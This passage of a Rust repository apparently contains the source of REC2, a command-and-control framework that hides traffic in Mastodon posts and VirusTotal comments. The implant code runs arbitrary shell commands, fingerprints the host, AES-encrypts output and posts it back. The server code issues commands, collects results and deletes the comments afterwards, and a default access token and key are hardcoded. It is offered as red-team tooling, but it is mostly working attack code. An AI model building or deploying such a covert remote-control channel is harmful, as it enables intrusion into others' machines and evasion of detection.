6 | let re = Regex::new(r"^([A-Z0-9]{4,}):[a-zA-Z0-9]{8}:[a-zA-Z0-9]{6}:").unwrap();
7 | let caps = re.captures(&spoiler).unwrap();
8 | let msg_type = caps.get(1).map_or("", |m| m.as_str()).to_string();
9 | debug!("{}",format!("{:<15}: {}","MSG_TYPE:",&msg_type));
10 |
11 | let re = Regex::new(r"^[A-Z0-9]{4,}:([a-zA-Z0-9]{8}):").unwrap();
12 | let caps = re.captures(&spoiler).unwrap();
13 | let session_hash = caps.get(1).map_or("", |m| m.as_str()).to_string();
14 | debug!("{}",format!("{:<15}: {}","SESSION_HASH",&session_hash));
15 |
16 | let re = Regex::new(r"^[A-Z0-9]{4,}:[a-zA-Z0-9]{8}:([a-zA-Z0-9]{6}):").unwrap();
17 | let caps = re.captures(&spoiler).unwrap();
18 | let job_hash = caps.get(1).map_or("", |m| m.as_str()).to_string();
19 | debug!("{}",format!("{:<15}: {}","JOB_HASH",&job_hash));
20 |
21 | return (msg_type, session_hash, job_hash)
22 | }
--------------------------------------------------------------------------------
/implants/virustotal/src/modules/mod.rs:
--------------------------------------------------------------------------------
1 | //! Social network for REC2 client
2 | #[doc(inline)]
3 | pub use common::*;
4 | #[doc(inline)]
5 | pub use rec2virustotal::*;
6 |
7 | pub mod common;
8 | pub mod rec2virustotal;
--------------------------------------------------------------------------------
/implants/virustotal/src/modules/rec2virustotal.rs:
--------------------------------------------------------------------------------
1 | extern crate virustotal3;
2 | use virustotal3::*;
3 |
4 | use regex::Regex;
5 | use log::{debug,trace,error};
6 |
7 | // 1- Function to parse URL to get url,id
8 | // 2- Function to get comments
9 | // 3- Function to post comment
10 |
11 | /// Function to parse Virustotal url
12 | pub fn parse_virustotal_url(full_url: &String) -> (String,VtType,String) {
13 | // https://www.virustotal.com/gui/file/99ff0b679081cdca00eb27c5be5fd9428f1a7cf781cc438b937cf8baf8551c4d
14 | let re = Regex::new(r"^(https://[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}/)").unwrap();
15 | let caps = re.captures(&full_url).unwrap();
16 | let url = caps.get(1).map_or("", |m| m.as_str()).to_string();
17 | debug!("{}",format!("URL: {}",&url));
18 |
19 | let re = Regex::new(r"^https://[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}/gui/([a-z-]{2,})/[a-zA-Z0-9.()]{3,}").unwrap();
20 | let caps = re.captures(&full_url).unwrap();
21 | let vtype = caps.get(1).map_or("", |m| m.as_str());
22 | let mut vt_type = VtType::File;
23 | match vtype {
24 | "files" => { vt_type = VtType::File; }
25 | "domains" => { vt_type = VtType::Domain; }
26 | "urls" => { vt_type = VtType::Url; }
27 | "ip-address" => { vt_type = VtType::Url; }
28 | _ => { }
29 | }
30 | debug!("{}",format!("TYPE: {}",&vtype));
31 |
32 | let re = Regex::new(r"^https://[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}/gui/file/([a-zA-Z0-9_]{32,})").unwrap();
33 | let caps = re.captures(&full_url).unwrap();
34 | let id = caps.get(1).map_or("", |m| m.as_str()).to_string();
35 | debug!("{}",format!("ID: {}",&id));
36 |
37 | return (url,vt_type,id)
38 | }
39 |
40 |
41 | /// GET comment in one resource from the ID
42 | pub async fn virustotal_get_comments(
43 | access_token: &str,
44 | resource_id: &str,
45 | vtype: &VtType,
46 | filter: String,
47 | ) -> (Vec,Vec,Vec) {
48 |
49 | let vt = VtClient::new(access_token);
50 |
51 | // Result
52 | let mut result_spoiler: Vec = Vec::new();
53 | let mut result_content: Vec = Vec::new();
54 | let mut post_id: Vec = Vec::new();
55 |
56 | match vt.get_comment(resource_id, vtype).await {
57 | Ok(result) => {
58 | if result.data.len() >= 1 {
59 | // Comment by comment
60 | for c in result.data {
61 |
62 | if c.attributes.text.contains(&filter) {
63 | let split = c.attributes.text.split("\n");
64 | let collection = split.collect::>();
65 | let re = Regex::new(r"[0-9a-f]+").unwrap();
66 | for hexa in re.captures_iter(&collection[1])
67 | {
68 | trace!("Getting comment in resource: {}",resource_id);
69 | result_spoiler.push(collection[0].to_owned());
70 | result_content.push(hexa[0].to_owned().to_string());
71 | post_id.push(c.id.to_string());
72 | }
73 | }
74 | }
75 | }
76 | else {
77 | error!("Cant get comments in this resource..");
78 | panic!("Session killed?")
79 | }
80 | },
81 | Err(err) => {
82 | error!("Cant get comments in this resource: {err}")
83 | }
84 | }
85 | return (result_spoiler,result_content,post_id)
86 | }
87 |
88 | /// POST private comment
89 | pub async fn virustotal_post_comment(
90 | access_token: &str,
91 | resource_id: &str,
92 | vtype: &VtType,
93 | datas: &str,
94 | ) {
95 | let vt = VtClient::new(access_token);
96 | match vt.put_comment(resource_id, datas, vtype).await {
97 | Ok(result) => {
98 | trace!("Post answer {:?}", result.data);
99 | },
100 | Err(err) => {
101 | error!("Cant post comment in this resource: {err}")
102 | }
103 | }
104 | }
--------------------------------------------------------------------------------
/implants/virustotal/src/utils/common.rs:
--------------------------------------------------------------------------------
1 | use std::{thread, time};
2 | use random_string::generate;
3 | use log::{info,trace};
4 |
5 | ///Display cmd output
6 | pub fn display_vecu8(output: &Vec) -> String {
7 | return String::from_utf8_lossy(output).to_string();
8 | }
9 |
10 | /// Function sleep
11 | pub fn sleep(timer: u64) {
12 | info!("[?] Waiting {}s",&timer);
13 | thread::sleep(time::Duration::from_secs(timer));
14 | }
15 |
16 | /// Function to generate random string
17 | pub fn random_string(len: usize) -> String {
18 | let charset = "1234567890abcdefghijklmnopqrstuvwxyz";
19 | let r = generate(len, charset);
20 | trace!("Random ID: {}",&r);
21 | return r
22 | }
--------------------------------------------------------------------------------
/implants/virustotal/src/utils/crypto.rs:
--------------------------------------------------------------------------------
1 | use log::error;
2 | use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit};
3 | use pbkdf2::{
4 | password_hash::{PasswordHash, PasswordHasher, SaltString},
5 | Params, Pbkdf2,
6 | };
7 | use rand::{distributions::Alphanumeric, Rng};
8 | type Aes256CbcDec = cbc::Decryptor;
9 | type Aes256CbcEnc = cbc::Encryptor;
10 |
11 | /// Function to provide simple mechanism to encrypt some bytes with a key using AES-256-CBC
12 | /// Thanks to:
13 | pub fn aes_encrypt(
14 | plaintext: &[u8],
15 | key: &[u8]
16 | ) -> Vec {
17 | let s: String = rand::thread_rng()
18 | .sample_iter(&Alphanumeric)
19 | .take(8)
20 | .map(char::from)
21 | .collect();
22 | let salt = SaltString::new(&s).unwrap();
23 | let password_hash = hash_password(key, &salt).unwrap();
24 | let password_hash = password_hash.hash.unwrap();
25 | let (key, iv) = password_hash.as_bytes().split_at(32);
26 | let cipher = Aes256CbcEnc::new_from_slices(key, iv).unwrap();
27 | let ciphertext = cipher.encrypt_padded_vec_mut::(plaintext);
28 | let message = ["Salted__".as_bytes(), salt.as_bytes(), &ciphertext].concat();
29 | message
30 | }
31 |
32 | /// Function to provide simple mechanism to decrypt some bytes with a key using AES-256-CBC
33 | /// Thanks to:
34 | pub fn aes_decrypt(
35 | ciphertext: &[u8],
36 | key: &[u8]
37 | ) -> Vec {
38 | if !ciphertext.starts_with(b"Salted__") {
39 | error!("Message was not encrypted when encoded");
40 | }
41 | if ciphertext.len() < 16 {
42 | error!("Ciphertext is too short");
43 | }
44 | let (_, rest) = ciphertext.split_at(8); //ignore prefix 'Salted__'
45 | let (s, rest) = rest.split_at(8);
46 | let s = String::from_utf8(s.to_vec()).unwrap();
47 | let salt = SaltString::new(&s).unwrap();
48 | let password_hash = hash_password(key, &salt).unwrap();
49 | let password_hash = password_hash.hash.unwrap();
50 | let (key, iv) = password_hash.as_bytes().split_at(32);
51 | let cipher = Aes256CbcDec::new_from_slices(key, iv).unwrap();
52 | let r = cipher.decrypt_padded_vec_mut::(rest);
53 | match r {
54 | Ok(plaintext) => { return plaintext }
55 | Err(err) => {
56 | error!("Inccorect key, can't decode AES! Reason: {err}");
57 | return Vec::new()
58 | }
59 | }
60 | }
61 |
62 | /// Function to hash password and salt,
63 | /// to generate key for use with AES-256 encryption.
64 | ///
65 | /// Uses PBKDF2 with 10,000 rounds of SHA256 hashing to generate a 48-byte response.
66 | /// 48-byte response contains the 16-byte IV and 32-byte key.
67 | /// Thanks to:
68 | pub fn hash_password<'a>(
69 | key: &'a [u8],
70 | salt: &'a SaltString,
71 | ) -> Result, pbkdf2::password_hash::Error> {
72 | Pbkdf2.hash_password_customized(
73 | key,
74 | None,
75 | None,
76 | Params {
77 | rounds: 10_000,
78 | output_length: 48,
79 | },
80 | salt,
81 | )
82 | }
--------------------------------------------------------------------------------
/implants/virustotal/src/utils/exec.rs:
--------------------------------------------------------------------------------
1 | use std::str;
2 | use std::process::{Command};
3 | use log::{debug, trace, error};
4 |
5 | use crate::utils::crypto::*;
6 | use crate::utils::common::*;
7 |
8 | /// Function to execute command and get output
9 | pub fn run_and_crypt(command: String, key: Vec) -> String {
10 | // EXEC PART
11 | debug!("run_and_crypt() [COMMAND INPUT]: {:?}",&command);
12 | let mut output = exec(&command);
13 | if output.len() == 0 {
14 | error!("Error during command execution!");
15 | output = "Error during command execution!".as_bytes().to_vec();
16 | }
17 | debug!("run_and_crypt() [COMMAND OUTPUT]: {:?}",display_vecu8(&output));
18 |
19 | // AES PART
20 | let encoded = aes_encrypt(&output[..], &key);
21 | trace!("run_and_crypt() [COMMAND ENCODED]: {:?}",display_vecu8(&encoded));
22 | let hexa = hex::encode(&encoded);
23 | trace!("run_and_crypt() [COMMAND ENCODED]: {:?}",&hexa);
24 |
25 | return hexa
26 | }
27 |
28 | /// Function to run commands
29 | fn exec(input: &str) -> Vec
30 | {
31 | let output = if cfg!(target_os = "windows") {
32 | Command::new("cmd")
33 | .args(["/c", input])
34 | .output()
35 | .expect("failed")
36 | } else {
37 | Command::new("sh")
38 | .arg("-c")
39 | .arg(input)
40 | .output()
41 | .expect("failed")
42 | };
43 | return output.stdout
44 | }
--------------------------------------------------------------------------------
/implants/virustotal/src/utils/mod.rs:
--------------------------------------------------------------------------------
1 | //! Utils for REC2 client
2 | #[doc(inline)]
3 | pub use common::*;
4 | #[doc(inline)]
5 | pub use crypto::*;
6 | #[doc(inline)]
7 | pub use exec::*;
8 | #[doc(inline)]
9 | pub use target::*;
10 |
11 | pub mod crypto;
12 | pub mod exec;
13 | pub mod common;
14 | pub mod target;
--------------------------------------------------------------------------------
/implants/virustotal/src/utils/target.rs:
--------------------------------------------------------------------------------
1 | use log::trace;
2 |
3 | /// Function to get target information
4 | ///
5 | pub fn get_target_info() -> String {
6 | trace!("Username: {}",whoami::username());
7 | trace!("Hostname: {}",whoami::hostname());
8 | trace!("OS: {}", whoami::distro());
9 | format!("{}:-:{}:-:{}",whoami::hostname(),whoami::username(),whoami::distro())
10 | }
11 |
12 | /// Function to get first 8 chars from uniq md5 target hostname
13 | pub fn get_target_hash() -> String {
14 | let s = format!("{}:{}:{}",whoami::hostname(),whoami::username(),whoami::distro());
15 | let digest = md5::compute(s.as_bytes());
16 | let hash = format!("{:x}",digest);
17 | trace!("Uniq hash for this target: {}", hash);
18 | return hash[0..8].to_owned()
19 | }
--------------------------------------------------------------------------------
/server/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | authors = ["g0h4n "]
3 | name = "server"
4 | description = "REC2 (Rusty External Comand and Control Server)"
5 | keywords = ["c2", "pentest", "social", "server", "redteam"]
6 | repository = "https://github.com/g0h4n/REC2"
7 | homepage = "https://github.com/g0h4n/REC2"
8 | version = "0.1.0"
9 | edition = "2018"
10 | license = "MIT"
11 | readme = "README.md"
12 |
13 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
14 |
15 | [dependencies]
16 | tokio = { version = "1", features = ["macros", "rt-multi-thread"] }
17 | rustyline = "12"
18 | clap = "4.0"
19 | log = "0.4"
20 | env_logger = "0.10"
21 | colored = "2"
22 | shellwords = "1.1.0"
23 |
24 | # Crypto
25 | hex = "0.4"
26 | rand = "0.8.5"
27 | aes = "0.8.1"
28 | cbc = {version = "0.1.2", features = ["std"]}
29 | pbkdf2 = "0.11.0"
30 | regex = "1.6.0"
31 | random-string = "1.0"
32 | md5 = "0.7"
33 |
34 | # Modules
35 | megalodon = { version = "0.6" }
36 | virustotal3 = { version = "3.0.2" }
37 |
--------------------------------------------------------------------------------
/server/src/args.rs:
--------------------------------------------------------------------------------
1 | //! Parsing arguments
2 | use clap::{Arg, ArgAction, value_parser, Command};
3 |
4 | #[derive(Debug)]
5 | pub enum Social {
6 | Mastodon,
7 | VirusTotal,
8 | Unknown,
9 | }
10 |
11 | #[derive(Debug)]
12 | pub struct Options {
13 | pub social: Social,
14 | pub url: String,
15 | pub token: String,
16 | pub key: String,
17 | pub verbose: log::LevelFilter,
18 | }
19 |
20 | fn cli() -> Command {
21 | Command::new("server")
22 | .about("REC2 (Rusty External Comand and Control Server)")
23 | .subcommand_required(true)
24 | .arg_required_else_help(true)
25 | .allow_external_subcommands(true)
26 | .subcommand(
27 | Command::new("Mastodon")
28 | .about("Using Mastodon social network as external C2")
29 | .arg(Arg::new("url")
30 | .short('u')
31 | .long("url")
32 | .help("Mastodon url like https://mastodon.be/@username_fzihfzuhfuoz/109909415422853704")
33 | .required(true)
34 | .value_parser(value_parser!(String))
35 | )
36 | .arg(Arg::new("token")
37 | .short('t')
38 | .long("token")
39 | .help("API token for your Mastodon account")
40 | .required(true)
41 | .value_parser(value_parser!(String))
42 | )
43 | .arg(Arg::new("key")
44 | .short('k')
45 | .long("key")
46 | .help("AES master key to decode and encode communication")
47 | .required(true)
48 | .value_parser(value_parser!(String))
49 | )
50 | .arg(Arg::new("v")
51 | .short('v')
52 | .help("Set the level of verbosity")
53 | .action(ArgAction::Count),
54 | )
55 | )
56 | .subcommand(
57 | Command::new("VirusTotal")
58 | .about("Using VirusToal website as external C2")
59 | .arg(Arg::new("url")
60 | .short('u')
61 | .long("url")
62 | .help("Virustotal url like https://www.virustotal.com/gui/file/99ff0b679081cdca00eb27c5be5fd9428f1a7cf781cc438b937cf8baf8551c4d")
63 | .required(true)
64 | .value_parser(value_parser!(String))
65 | )
66 | .arg(Arg::new("token")
67 | .short('t')
68 | .long("token")
69 | .help("API token for your Virustotal account")
70 | .required(true)
71 | .value_parser(value_parser!(String))
72 | )
73 | .arg(Arg::new("key")
74 | .short('k')
75 | .long("key")
76 | .help("AES master key to decode and encode communication")
77 | .required(true)
78 | .value_parser(value_parser!(String))
79 | )
80 | .arg(Arg::new("v")
81 | .short('v')
82 | .help("Set the level of verbosity")
83 | .action(ArgAction::Count),
84 | )
85 | )
86 | }
87 |
88 | /// Function to extract arguments
89 | pub fn extract_args() -> Options {
90 |
91 | let matches = cli().get_matches();
92 | // DEFAULT SOCIAL NETWORK USE FOR C2
93 | let mut social = Social::Unknown;
94 | // DEFAULT SOCIAL NETWORK URL
95 | let mut url = "https://mastodon.be/username_fzihfzuhfuoz/109743339821428173".to_owned();
96 | // DEFAULT ACCESS TOKEN
97 | //
98 | let mut token = "WkIKjtCbQzcqQd04ZsE4sFefvpjryhU5w9iVFxGz1oU".to_owned();
99 | // DEFAULT AES KEY
100 | let mut key = "d09ccee4-pass-word-0000-98677e2356fd".to_owned();
101 | // DEFUALT LOG LEVEL
102 | let mut v = log::LevelFilter::Info;
103 |
104 | match matches.subcommand() {
105 | Some(("Mastodon", sub_matches)) => {
106 | social = Social::Mastodon;
107 | url = sub_matches.get_one::("url").map(|s| s.to_owned()).unwrap();
108 | token = sub_matches.get_one::("token").map(|s| s.to_owned()).unwrap();
109 | key = sub_matches.get_one::("key").map(|s| s.to_owned()).unwrap();
110 | v = match sub_matches.get_count("v") {
111 | 0 => log::LevelFilter::Info,
112 | 1 => log::LevelFilter::Debug,
113 | _ => log::LevelFilter::Trace,
114 | };
115 | }
116 | Some(("VirusTotal", sub_matches)) => {
117 | social = Social::VirusTotal;
118 | url = sub_matches.get_one::("url").map(|s| s.to_owned()).unwrap();
119 | token = sub_matches.get_one::("token").map(|s| s.to_owned()).unwrap();
120 | key = sub_matches.get_one::("key").map(|s| s.to_owned()).unwrap();
121 | v = match sub_matches.get_count("v") {
122 | 0 => log::LevelFilter::Info,
123 | 1 => log::LevelFilter::Debug,
124 | _ => log::LevelFilter::Trace,
125 | };
126 | }
127 | _ => {},
128 | }
129 |
130 | Options {
131 | social: social,
132 | url: url.to_string(),
133 | token: token.to_string(),
134 | key: key.to_string(),
135 | verbose: v,
136 | }
137 | }
--------------------------------------------------------------------------------
/server/src/c2/jobs.rs:
--------------------------------------------------------------------------------
1 | use log::{debug,trace,error};
2 | use std::process::exit;
3 | use colored::*;
4 |
5 | use crate::args::{Options,Social};
6 | use crate::c2::sessions::Session;
7 | use crate::c2::shell::EXIT_FAILURE;
8 | use crate::modules::{rec2mastodon,rec2virustotal};
9 | use crate::utils::crypto;
10 | use crate::utils::common::{random_string, display_vecu8};
11 |
12 | pub enum Status {
13 | Pending,
14 | Finished,
15 | }
16 |
17 | /// Structure for one job like execute command
18 | pub struct Job {
19 | session: Session, // Session
20 | id: u32, // job id
21 | hash: String, // job name YYYYYY
22 | cmd: String, // cmd
23 | resp: String, // response output
24 | status: Status, // got response ?
25 | }
26 |
27 | /// Function to execute command on the social network
28 | /// Waitting output or press enter to put the job in the background and get output with get_output_command()
29 | pub async fn exec_command(
30 | default_args: &Options,
31 | id: u32,
32 | cmd: &str,
33 | sessions: &mut Vec,
34 | jobs: &mut Vec,
35 | ) {
36 | // search session XXXXXX from id 0X in ids
37 | // prepare command line aes encoded and post it
38 | // QXXXXXX:YYYYYY -> cmd encoded aes
39 | // add QXXXXX:YYYYYY -> HashMap or in Struct
40 | match &default_args.social {
41 | Social::Mastodon => {
42 | if id as usize <= sessions.len() && sessions.len() > 0 {
43 | debug!("Execute command from Mastodon social network..");
44 | let (url, _username, topic) = rec2mastodon::parse_mastodon_url(&default_args.url);
45 | let encoded_cmd = hex::encode(crypto::aes_encrypt(&cmd.as_bytes().to_vec()[..], &default_args.key.as_bytes()));
46 | trace!("Encoded command job: {:?}",&encoded_cmd);
47 | // Save new job
48 | let job = Job {
49 | session: sessions[id as usize - 1].to_owned(), // Session
50 | id: (jobs.len() as u32 + 1), // job id
51 | hash: random_string(6), // job name YYYYYY
52 | cmd: cmd.to_string(), // cmd
53 | resp: "Please wait..".to_string(), // response output
54 | status: Status::Pending, // got response ?
55 | };
56 | rec2mastodon::mastodon_post_topic_comment(
57 | &url,
58 | default_args.token.to_owned(),
59 | Some(topic.to_owned()),
60 | encoded_cmd,
61 | format!("QUES:{}:{}:",&sessions[id as usize -1].hash,&job.hash),
62 | ).await;
63 | jobs.push(job);
64 | display_jobs(jobs);
65 | }
66 | else {
67 | println!("No session for this id..");
68 | }
69 |
70 | }
71 | Social::VirusTotal => {
72 | if id as usize <= sessions.len() && sessions.len() > 0 {
73 | debug!("Execute command from VirusTotal..");
74 | let (_url,vtype, resource_id) = rec2virustotal::parse_virustotal_url(&default_args.url);
75 | let encoded_cmd = hex::encode(crypto::aes_encrypt(&cmd.as_bytes().to_vec()[..], &default_args.key.as_bytes()));
76 | trace!("Encoded command job: {:?}",&encoded_cmd);
77 | // Save new job
78 | let job = Job {
79 | session: sessions[id as usize - 1].to_owned(), // Session
80 | id: (jobs.len() as u32 + 1), // job id
81 | hash: random_string(6), // job name YYYYYY
82 | cmd: cmd.to_string(), // cmd
83 | resp: "Please wait..".to_string(), // response output
84 | status: Status::Pending, // got response ?
85 | };
86 | let datas = format!("QUES:{}:{}:\n{}",&sessions[id as usize -1].hash,&job.hash,encoded_cmd);
87 | rec2virustotal::virustotal_post_comment(
88 | &default_args.token,
89 | &resource_id,
90 | &vtype,
91 | &datas,
92 | ).await;
93 | jobs.push(job);
94 | display_jobs(jobs);
95 | }
96 | else {
97 | println!("No session for this id..");
98 | }
99 | }
100 | Social::Unknown => {
101 | error!("Error to execute command '{}' for Social::{:?}",&cmd,&default_args.social);
102 | exit(EXIT_FAILURE);
103 | }
104 | }
105 | }
106 |
107 | /// Function to get output command result on the social network
108 | ///
109 | pub async fn get_output_command(
110 | default_args: &Options,
111 | id: u32,
112 | jobs: &mut Vec,
113 | ) {
114 | // search in all comment for session ids XXXXXX
115 | // and for job YYYYYY the result decode it and print it
116 | match &default_args.social {
117 | Social::Mastodon => {
118 | // TODO patch need to use Status::Pending
119 | if jobs.len() > 0 {
120 | if jobs[id as usize - 1].resp.contains("Please wait..") {
121 | debug!("Getting output for job ID:{} in Mastodon social network..",id);
122 | let (url, _username, topic) = rec2mastodon::parse_mastodon_url(&default_args.url);
123 | let (_result_spoiler,_result_content,_in_reply_to_id,_post_id) = rec2mastodon::mastodon_get_topic_comments(
124 | &url,
125 | default_args.token.to_string(),
126 | topic.to_owned(),
127 | format!("RESP:{}:{}:",&jobs[id as usize - 1].session.hash,&jobs[id as usize - 1].hash).to_string(),
128 | ).await;
129 | if _result_content.len() > 0 {
130 | jobs[id as usize - 1].status = Status::Finished;
131 | jobs[id as usize - 1].resp = display_vecu8(&crypto::aes_decrypt(&hex::decode(&_result_content[0].to_owned().to_string()).unwrap()[..], &default_args.key.as_bytes()));
132 | }
133 | else {
134 | let (_result_spoiler,result_content2,_in_reply_to_id,_post_id) = rec2mastodon::mastodon_get_topic_comments(
135 | &url,
136 | default_args.token.to_string(),
137 | topic.to_owned(),
138 | format!("PART:{}:{}:",&jobs[id as usize - 1].session.hash,&jobs[id as usize - 1].hash).to_string(),
139 | ).await;
140 | if result_content2.len() > 0 {
141 | let mut hexa_datas = "".to_owned();
142 | for part in result_content2 {
143 | hexa_datas = hexa_datas + ∂
144 | }
145 | jobs[id as usize - 1].status = Status::Finished;
146 | jobs[id as usize - 1].resp = display_vecu8(&crypto::aes_decrypt(&hex::decode(&hexa_datas.to_owned().to_string()).unwrap()[..], &default_args.key.as_bytes()));
147 | }
148 | }
149 | // Print result
150 | println!("{}",&jobs[id as usize - 1].resp);
151 |
152 | // Delete comments if get output
153 | if !jobs[id as usize - 1].resp.contains("Please wait..") {
154 | let (url, _username, topic) = rec2mastodon::parse_mastodon_url(&default_args.url);
155 | let (_result_spoiler,_result_content,_in_reply_to_id,post_id) = rec2mastodon::mastodon_get_topic_comments(
156 | &url,
157 | default_args.token.to_string(),
158 | topic.to_owned(),
159 | format!(":{}:{}",&jobs[id as usize - 1].session.hash,&jobs[id as usize - 1].hash).to_string(),
160 | ).await;
161 | for id in post_id {
162 | rec2mastodon::remove_mastodon_comment(
163 | &url,
164 | default_args.token.to_string(),
165 | id.to_owned(),
166 | ).await;
167 | debug!("Comment ID:{} deleted!",id);
168 | }
169 | }
170 | }
171 | else {
172 | println!("{}",&jobs[id as usize - 1].resp);
173 | }
174 | }
175 | else {
176 | println!("No jobs..");
177 | }
178 | }
179 | Social::VirusTotal => {
180 | // TODO patch need to use Status::Pending
181 | if jobs.len() > 0 {
182 | if jobs[id as usize - 1].resp.contains("Please wait..") {
183 | debug!("Getting output for job ID:{} in VirusTotal..",id);
184 | let (_url,vtype, resource_id) = rec2virustotal::parse_virustotal_url(&default_args.url);
185 | let (_result_spoiler,result_content,_post_id) = rec2virustotal::virustotal_get_comments(
186 | &default_args.token,
187 | &resource_id,
188 | &vtype,
189 | format!("RESP:{}:{}:",&jobs[id as usize - 1].session.hash,&jobs[id as usize - 1].hash).to_string(),
190 | ).await;
191 | if result_content.len() > 0 {
192 | jobs[id as usize - 1].status = Status::Finished;
193 | jobs[id as usize - 1].resp = display_vecu8(&crypto::aes_decrypt(&hex::decode(&result_content[0].to_owned().to_string()).unwrap()[..], &default_args.key.as_bytes()));
194 | }
195 | else {
196 | let (_result_spoiler,result_content2,_post_id) = rec2virustotal::virustotal_get_comments(
197 | &default_args.token,
198 | &resource_id,
199 | &vtype,
200 | format!("PART:{}:{}:",&jobs[id as usize - 1].session.hash,&jobs[id as usize - 1].hash).to_string(),
201 | ).await;
202 | if result_content2.len() > 0 {
203 | let mut hexa_datas = "".to_owned();
204 | for part in result_content2 {
205 | hexa_datas = hexa_datas + ∂
206 | }
207 | jobs[id as usize - 1].status = Status::Finished;
208 | jobs[id as usize - 1].resp = display_vecu8(&crypto::aes_decrypt(&hex::decode(&hexa_datas.to_owned().to_string()).unwrap()[..], &default_args.key.as_bytes()));
209 | }
210 | }
211 | // Delete comments if get output
212 | if !jobs[id as usize - 1].resp.contains("Please wait..") {
213 | let (_result_spoiler,_result_content,post_id) = rec2virustotal::virustotal_get_comments(
214 | &default_args.token,
215 | &resource_id,
216 | &vtype,
217 | format!(":{}:{}",&jobs[id as usize - 1].session.hash,&jobs[id as usize - 1].hash).to_string(),
218 | ).await;
219 | for id in post_id {
220 | rec2virustotal::virustotal_delete_topic_comment(
221 | &default_args.token,
222 | &id,
223 | ).await;
224 | debug!("Comment ID:{} deleted!",id);
225 | }
226 | }
227 | // Print result
228 | println!("{}",&jobs[id as usize - 1].resp);
229 | }
230 | else {
231 | println!("{}",&jobs[id as usize - 1].resp);
232 | }
233 | }
234 | else {
235 | println!("No jobs..");
236 | }
237 | }
238 | Social::Unknown => {
239 | error!("Error to get output for job ID:{} in Social::{:?}",id,&default_args.social);
240 | exit(EXIT_FAILURE);
241 | }
242 | }
243 | }
244 |
245 | /// Function to display pending jobs
246 | pub fn display_jobs(
247 | jobs: &mut Vec,
248 | ) {
249 | // search in all comment for session ids XXXXXX
250 | // and for job YYYYYY the result decode it and print it
251 | debug!("Getting jobs status..");
252 | if jobs.len() != 0 {
253 | for job in jobs {
254 | match job.status {
255 | Status::Pending => {
256 | println!("{:<4}{}","",
257 | format!("JOB_ID:{:<5} SESSION_ID:{:<5} TARGET:{:<18} USER:{:<10} CMD:{:<10} STATUS:{:15}",
258 | job.id.to_string().green().bold(),
259 | job.session.id.to_string().green().bold(),
260 | job.session.hostname.green().bold(),
261 | job.session.user.green().bold(),
262 | job.cmd.bold(),
263 | "Pending".to_string().truecolor(255,172,89).bold(),
264 | )
265 | );
266 | }
267 | Status::Finished => {
268 | println!("{:<4}{}","",
269 | format!("JOB_ID:{:<5} SESSION_ID:{:<5} TARGET:{:<18} USER:{:<10} CMD:{:<10} STATUS:{:15}",
270 | job.id.to_string().green().bold(),
271 | job.session.id.to_string().green().bold(),
272 | job.session.hostname.green().bold(),
273 | job.session.user.green().bold(),
274 | job.cmd.bold(),
275 | "Finished".to_string().green().bold(),
276 | )
277 | );
278 | }
279 | }
280 | }
281 | } else {
282 | println!("No jobs...");
283 | }
284 | }
--------------------------------------------------------------------------------
/server/src/c2/mod.rs:
--------------------------------------------------------------------------------
1 | //! Social network for REC2 server
2 | #[doc(inline)]
3 | pub use shell::*;
4 | #[doc(inline)]
5 | pub use sessions::*;
6 | #[doc(inline)]
7 | pub use jobs::*;
8 |
9 | pub mod shell;
10 | pub mod sessions;
11 | pub mod jobs;
--------------------------------------------------------------------------------
/server/src/c2/sessions.rs:
--------------------------------------------------------------------------------
1 | use log::{debug,trace,error};
2 | use std::process::exit;
3 | use colored::*;
4 |
5 | use crate::args::{Options,Social};
6 | use crate::c2::shell::{Environnement,EXIT_FAILURE};
7 | use crate::modules::{rec2mastodon,rec2virustotal};
8 |
9 | use regex::Regex;
10 | use crate::utils::{crypto,common};
11 |
12 | // SESS:XXXXXXXX:ABCDEF: For new session
13 | // QUES:XXXXXXXX:YYYYYY: For new job query
14 | // RESP:XXXXXXXX:YYYYYY: For new job response
15 | // PART01:XXXXXXXX:YYYYYY: For new job response part Z
16 |
17 | /// Structure to map numeric id with random id and sessions informations
18 | #[derive(Debug, Clone)]
19 | pub struct Session {
20 | pub id: u32, // session id
21 | pub hash: String, // session XXXXXX
22 | pub user: String, // username
23 | pub hostname: String, // computer name
24 | pub os: String, // system version
25 | pub available: bool, // if session is killed set to false
26 | }
27 |
28 | /// Function to get sessions etablished from social network
29 | pub async fn get_sessions(default_args: &Options, sessions: &mut Vec) {
30 | // parser les commentaires pour avoir le SXXXXXX
31 | // SESS:XXXXXXXX:ABCDEF contiendra Username:Hostname:Os
32 | match &default_args.social {
33 | Social::Mastodon => {
34 | debug!("Getting sessions from Mastodon social network..");
35 | let (url, _username, topic) = rec2mastodon::parse_mastodon_url(&default_args.url);
36 | let (result_spoiler,result_content,_in_reply_to_id,_post_id) = rec2mastodon::mastodon_get_topic_comments(
37 | &url,
38 | default_args.token.to_string(),
39 | topic.to_owned(),
40 | "SESS:".to_string(),
41 | ).await;
42 | parse_sessions(default_args, result_spoiler, result_content, sessions);
43 | }
44 | Social::VirusTotal => {
45 | debug!("Getting sessions from VirusTotal..");
46 | let (_url,vtype,resource_id) = rec2virustotal::parse_virustotal_url(&default_args.url);
47 | trace!("before virustotal_get_comments() function");
48 | trace!(" &default_args.token: {:?}",&default_args.token);
49 | trace!(" &resource_id: {:?}",&resource_id);
50 | trace!(" &vtype: {:?}",&vtype);
51 | trace!(" SESS: {:?}",&"SESS:".to_string());
52 |
53 | let (result_spoiler,result_content,_post_id) = rec2virustotal::virustotal_get_comments(
54 | &default_args.token,
55 | &resource_id,
56 | &vtype,
57 | "SESS:".to_string(),
58 | ).await;
59 | parse_sessions(default_args, result_spoiler, result_content, sessions);
60 | }
61 | Social::Unknown => {
62 | error!("Error Social::Unknown");
63 | exit(EXIT_FAILURE);
64 | }
65 | }
66 | }
67 |
68 |
69 | /// Function to attach session id
70 | pub fn set_session(
71 | id: u32,
72 | env: &mut Environnement,
73 | sessions: &mut Vec,
74 | ) {
75 | if id as usize <= sessions.len() {
76 | env.selected_session_id = id;
77 | env.information_target = format!("{}@{}",
78 | sessions[env.selected_session_id as usize - 1].user,
79 | sessions[env.selected_session_id as usize - 1].hostname
80 | );
81 | }
82 | else {
83 | error!("Session id not found...");
